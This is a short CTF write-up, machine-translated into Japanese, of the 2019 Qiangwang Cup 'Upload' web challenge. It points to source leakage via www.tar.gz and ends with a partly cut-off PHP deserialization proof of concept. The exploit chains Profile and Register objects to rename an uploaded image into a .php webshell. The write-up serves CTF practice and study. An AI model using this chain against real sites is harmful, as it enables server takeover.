ブラシ記録:[強ネットカップ2019]Upload

1731 ワード

目次
  • 刷題記録:[強網杯2019]Upload
  • 一、知識点
  • 1、ソースコード漏洩
  • 2、php逆シーケンス化


  • ブラシ記録:[強ネットカップ2019]Upload
    タイトル再現リンク:https://buuoj.cn/challenges 参考リンク:2019第3回強ネットカップWeb部分WriteUp+再現環境
    一、知識点
    1、ソースコードの漏洩
    www.tar.gz
    2、php逆シーケンス化
    ファイルが大きいように見えますが、phpstormで開くとデフォルトで開いているファイルに2つのブレークポイントがありますが、実はhintにあげられているので、逆シーケンス化利用の場所を指摘しています.その後の従来の逆シーケンス化利用は,難しくない.
    唯一注意しなければならないのはシーケンス化がネーミングスペースをシーケンス化するのでpocはこの場所でnamespace app\web\controller;を追加しなければなりません
    except[$name];
        }
    
        public function __call($name, $arguments)
        {
            if($this->{$name}){
                $this->{$this->{$name}}($arguments);
            }
        }
    
    }
    
    class Register
    {
        public $checker;
        public $registed;
    
        public function __construct()
        {
        }
    
        public function __destruct()
        {
            if(!$this->registed){
                $this->checker->index();
            }
        }
    }
    
    $b = new Profile();
    $b->except = array('index'=>'img');
    $b->img = "upload_img";
    $b->ext = true;
    $b->filename = "./upload/f4e7685fe689f675c85caeefaedcf40c/00bf23e130fa1e525e332ff03dae345d.php";
    $b->filename_tmp = "./upload/f4e7685fe689f675c85caeefaedcf40c/00bf23e130fa1e525e332ff03dae345d.png";
    
    $a = new Register();
    $a->registed = false;
    $a->checker = $b;
    echo urlencode(base64_encode(serialize($a)));